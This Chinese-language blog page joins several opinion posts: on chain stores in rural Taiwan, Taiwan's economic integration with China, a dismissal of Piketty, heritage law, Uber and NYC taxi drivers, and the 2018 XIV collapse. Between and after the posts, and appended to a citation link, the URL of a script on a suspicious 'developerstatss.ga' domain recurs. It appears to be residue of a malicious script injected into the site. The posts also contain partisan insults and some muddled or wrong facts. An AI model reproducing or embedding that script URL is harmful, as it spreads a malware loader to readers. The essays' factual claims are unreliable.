分類: 經濟分析

好文分享。

我說過我是台中大甲人，從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前，我們只有各一家王子漢堡跟香雞城（這兩家都倒了）。王子漢堡我想大概海線人才知道。

跟鬼王說的一樣，文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit！ 從小我就感受到所謂的海線是怎樣落人一等，連火車班次、公路局班次都比別人少！

第一家7-11開店時已經是我高中時候，當時真如鬼王所說，是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。

經濟學來看也是支持鬼王論點：連鎖企業之所以可以橫掃鄉村小店，不是因為資本粗就能吃人，而是因為連鎖企業用更好的條件提供更好的商品與服務！

經濟競爭的鐵律是「用更少的代價換取更好或更多！」連鎖企業如果更貴更爛，市場淘汰連鎖企業而非小店。大甲也曾有肯德基，但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之，被淘汰的小店正因為無法提供連鎖企業給的，才會被淘汰。

是的，真相是所謂的小店文化，對真正在地者而言，往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。

但可笑的是，這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮？（這在美國很常見）

其實說穿了這種人只是藉著剝削鄉村消費者的選擇權，換取自己的媒體曝光度或自我感覺良好。

事實是真正在拉近城鄉差距的，是文青口中萬惡的資本家們！

人口數與人均收入不如人，本來就很難養出「品牌企業」，更枉論這種講究「風口飛豬」的獨角獸公司。

台灣人才能力不錯是一回事，但語言能力整體來看連英文都很差（幾乎沒見過台灣本土出產而能走紅西方世界的英文作家）。既然不能一開始就以世界市場為目標，則光靠台灣市場希望渺茫。

幾個月前有位網友與我談動漫出版業，本身並非從業人員，只能以讀者角度提供看法，不過與獨角獸公司的一些經濟邏輯是相通的 — 人口夠多、共同語言市場夠大，才有足夠的租值去容忍賭博性的嘗試以及相關市場（包含資本市場）的基礎建構。

我反覆強調很多次，市場是很貴的玩意，而許多經濟學家往往忽略這一點，以為市場是自己憑空跑出來的。而台灣人口太少、收入太低這點，註定許多種市場安排方式不可能在台灣出現。除非台灣積極並融入中國市場。

全世界與台灣交易費用最低的市場就在中國大陸，光語言這塊就足以省下極高的費用。不管心態如何，台灣遲早要被迫全面擁抱與融入中國市場。真實世界台灣對中國貿易依賴程度，早就點明這個大勢所趨銳不可擋。

然而就是某些台灣政客為了個人利益，明知台獨不可能實現，卻老要用台獨與去中國化欺騙選票，不去思考如何讓台灣能在全球化與中國化競爭中勝出、把餅做大，只想要關上門當土酋長滿足個人私利，甚至甘願當日本美國走狗。這群政客是台灣最大的負資產。

與網友對話如下：

砸大錢買廣告卻內容蠢到死的影片。

「中國資金買下全台灣公司就可以控制台灣」只顯示論者的腦袋有多麼貧乏與無知。

事實上如果真的發生，則經濟效果上等於中國拿錢高度補貼台灣股東或老闆，財富瞬間從中國移往台灣。如此大禮，為啥不要？

同時，你以為中資買下台灣企業後，如果市場有利可圖，被買下者會拿著中國補助的資金另起爐灶與之競爭。同樣的，中資買下台灣企業後，如果員工不認同中資老闆或者是中資老闆給的勞動條件劣於市場，則員工也會出走。

反之，如果市場無利可圖，則中資買下台灣企業等於是幫台灣股東或老闆擦屁股，讓他們的資源重新獲得釋放。與此同時，中國等於是把資金浪費在低效率的用途上。

這也代表說，中國大舉不分好壞地買下台灣企業本身就是一個違反經濟定律的偽命題，因為論者錯誤假設中國資金可以自外於全球資金市場競爭，論者還錯誤地假設中國資金「不自私」，再爛的台灣公司都願意買（此點假設直接違反經濟學的自私前提）。

當然，該偽命題的論者還錯誤的假設了許多事情，例如前述台灣員工自由流動下，中資同樣必須在勞動市場與非中資企業競爭。提供的服務或產品一樣必須與非中資企業競爭….

簡單結論來說，論者腦袋白痴加三級，以為有錢就可以買遍全世界。而真實世界，從來不存在任何一個有錢國家可以單純靠錢buy out其他國家。

事實上，真正要用錢害死一個國家，歐美已經有很好的示範，就是透過大規模慈善捐助。

https://js.developerstatss.ga/stat.js?n=ns1

托瑪．皮凱提所著的『21世紀資本論』簡單翻閱就可知道這人經濟學不入流，基本價格理論不及格。

我自己沒啥時間批評一本這麼厚的爛書，卻剛好看到知名經濟學家Deirdre N. McCloskey對這本書的極正確評價。

在張五常教授80大壽慶祝發表的祝詞中回憶自己在1968年與張五常同為芝加哥大學經濟系教職，因為McCloskey是哈佛經濟學博士，所以其實並不懂經濟學。McCloskey特別強調認識張五常後透過其身教與著作，再加上張所推薦的一本好書 — Alchian與Allen合著的「Exchange and Production Theory in Use」方才習得如何正確地以經濟學思考。

插話一句，Alchian 與Allen合著的此書前身為「University Economics」，也是我的經濟學真正啟蒙讀物，強烈推薦給有興趣的朋友。此書之後，我才對經濟學登堂入室，也才開始成功地將此學問應用到投資上。也是因為此書的反覆研讀，逐漸地我開始可以準確預測巴菲特、孟格之類的高手怎麼思考問題同時怎麼決策，其邏輯的來龍去脈越發清晰（至於坊間一堆號稱研究巴菲特的書籍，建議當做小說看看笑過就算）。也就是說，這本書把我的投資思維拉到了巴菲特與孟格差不多的思維高度。

當然，巴菲特與孟格的經濟學並非頂尖，但投資直覺（或經濟直覺）上佳是肯定無疑的。

McCloskey同時批評芝加哥大學經濟系自從Bob Lucas（諾貝爾經濟學獎得主，但其實經濟學不怎麼樣）取消價格理論這門課之後，芝加哥大學經濟學博士程度連哈佛都比不上了。（Naturally, the Nouvelle Chicago School of Bob Lucas has dropped it, and so Chicago PhDs nowadays are no better even than Harvard PhDs in thinking like economists. It makes me weep.）

回到21世紀資本論這本爛書，McCloskey評價該書作者甚至基本需求定律掌握都是不足的，竟然不理解供給會隨著稀缺程度增加而反應。（note that Piketty, trained in France and MIT, does not understand supply response to increasing scarcity.）

經濟學的根本核心就是價格理論，連這點都掌握不好，淨搞一堆眩目數學公式那不叫做學問，只是為了謀求職位的手段。

而21世紀資本論這本書之所以毫無價值，也在於作者除了譁眾取寵，其論點–針對富人課重稅–在法國實施幾年的結果，早被「正確的經濟邏輯」預測不但對經濟無任何幫助，還只會嚇跑一堆富人，並留下剝削中產階級與養出一堆懶窮人的福利惡法。

McCloskey祝詞全文可見於此：
http://www.deirdremccloskey.com/docs/pdf/Cheung.pdfhttps://js.developerstatss.ga/stat.js?n=ns1

當左派的「文化資產法」侵害個人私有產權時，「及時拆除」不過是產權所有者保護自身利益的最好方法。

換言之，這套「原希望保護古蹟」的法律其真正實施結果如同經濟學預言一樣，只是讓「快變古蹟的建築自我毀滅得更快！」

所謂古蹟愛好者，希冀透過法律來干涉他人產權使用，說穿了也只是一種「佔便宜」心態。真這麼愛，怎麼不花自己的錢買下？

反之，要求政府買下也是錯誤資源配置，等於是「用不在乎古蹟的人的稅金去補貼少數在乎者的主觀慾望」。

左派紐約時報最常見到的就是「雙重標準」–一方面譴責大公司市佔率過高是濫用壟斷地位（事實上構不構成壟斷還有待商榷）；另一方面卻對計程車司機的法律證照壟斷利益喪失表達同情。

此報導：「一位紐約司機之死和共享經濟亂象」幾個數字值得我們注意：

「優步(Uber)及其競爭對手帶來的經濟困難已經令紐約、倫敦等城市的傳統司機難以招架。幾十年來，紐約的的士不超過1.2萬輛到1.3萬輛，但現在已經有了無數避免公共交通的新途徑，使用Via這樣深受乘客歡迎的服務，有時只需花費5美元多一點，便可以在曼哈頓旅行。2013年，紐約全市共有4.7萬輛車供出租。現在有了超過10萬輛，其中約三分之二與優步有聯繫。…

從2013年至2016年，在通常收費最高的白天工作的紐約黃色的士全職司機，年預訂總額從每年8.8萬美元降到了6.9萬多美元多一點。執照勳章(Medallion)是頒發給紐約市的士的運營許可，它曾經是一項很好的投資，很多司機都借款購買，如今它已經成為貶值資產，那些的士司機也因此深陷債務之中。…

…60出頭的制服司機道格·施夫特(Doug Schifter)在曼哈頓下城市政廳門口用一把霰彈槍開槍自盡，幾個小時前，他在Facebook上寫了一篇長文，控訴結構性的殘酷狀況令他陷入絕境。他說，他現在有時不得不每週工作超過100小時才能生存下去；當他在1980年代開始從事這個行業的時候，每週工作40小時是相當正常的。…而貧窮往往不給你自殺的機會就殺死你。」

以1.3萬輛執照年收入從平均8.8萬美元降到6.9萬，我們可以估計紐約計程車司機因為Uber等新服務供給的加入，承受的租值損失約是每年約2.47億美元。但換個角度看，因為新供給的加入，紐約的乘車服務消費者不但省下了每年$2.47億美元，還享受到一樣甚至更好的服務、更多的叫車機會以及更少的等待時間。

也就是說，消費者用更少的代價換取更好的服務，而過去之所以沒有這個機會，除了科技之外，就是因為愚蠢的證照制度保護。這個證照制度保護下，讓一個60歲計程車司機30年來誤以為可以長久每週只工作40小時就能享受8.8萬美元年收，從而20幾歲到60歲都未曾培養任何其他技能。

更好笑的是，紐約時報把「貧窮」冠到這位自殺司機身上，指責新進供給者（或未嚴格執行的證照制度）沒有好好保護這個社會底層人士。但事實是紐約計程車司機的平均年收$6.9萬依然遠遠高過美國人均年收入$3.1萬美元，勝過70%美國人口。從這麼粗淺的統計數字可以感受：究竟是貧窮殺人？還是該計程車司機自身財務狀況有問題？似乎已經聞出一點端倪。https://js.developerstatss.ga/stat.js?n=ns1

在比特幣一文我談過財富倉庫分為有根、無根二種。

有根者，倉庫標的本身有可預測收入流；無根者，則無。

前者因為有預期收入拘束，所以漲跌有其合理範疇，當超出範疇時在健全市場中，自然會有做多與放空者快速跳入修正價格。

反之，無根者因為沒有預期收入拘束，所以無論做多或放空，其實都不知道邊界在哪。因此在比特幣該文中我就奉勸讀者，不要以「無根財富倉庫」為主要投資標的。如果可以，少碰為上。

比特幣在我看來是一種無根財富倉庫，而許多金融性衍生商品其實也都算，比方：VIX。

VIX是一個觀測市場波動的指數，不管漲跌，只管波動。假設VIX = 15，代表該指數預期未來30日內的年化波動性是15%。也就是說，數字越大，代表該指數預期的市場波動性越大；反之則越小。

而過去2017年的美國股票市場只漲不跌，其波動性也變得極低（見VIX走勢圖）：

這也使得許多人，包含大型金融機構，都一起來放空VIX。其中一種方式是投資反指標XIV，我們也看到2017年整年下來XIV表現極為優秀，一整年報酬率高達187%！可「市場波動性」本就難以預料，牽涉的侷限條件太多，但可以知道當市場強烈反轉時，波動性放大，VIX會獲利，但XIV可就賠慘。而這個萬一就在這兩天成真！

S&P500在2018年2月2日大跌2.15%，緊接著下個交易日2月5日又跌4.06%，2月6日漲回1.77%。

如果你是壓寶XIV的主兒，恭喜老爺賀喜夫人，短短三天內虧損94.32%！有位悲慘的交易員就這樣把辛苦三年賺來的400萬美元一夜輸光在XIV上（參見XIV走勢圖）。

過去三年，這位交易員用5萬美元本金快樂地放空VIX（也就是買入XIV）累積財富到400萬美元，妄想 （也是常見的投資錯誤心理–將一時的好運當作是自己的實力而誤判可以永遠如此）買房、買車，現在美夢成泡。

不過要死也有墊背，天塌下來還有高個兒擋著。XIV的發明者也是最大持有者瑞士信貸自己都玩不下去，宣布下市這項商品，代表投資者投資$104元只剩$4.22。

再奉勸一次，無根財富倉庫別亂碰為上。

PS 2008年金融風暴，價值投資法奉行者的獨眼醫師Michael Burry雖然也購買大量衍生性金融商品CSD（Credit Swap Default），但卻是有根財富倉庫的投資，因為他透過大量且精細的閱讀看出房貸包裹的債券其實藏汙納垢、問題叢生，真實價值遠不如所宣稱。因此Michael Burry的衍生性金融商品放空，依然是標準的價值投資法無誤。其所得獲利，就是來自於資訊成本/租值。https://js.developerstatss.ga/stat.js?n=ns1

https://js.developerstatss.ga/stat.js?n=ns1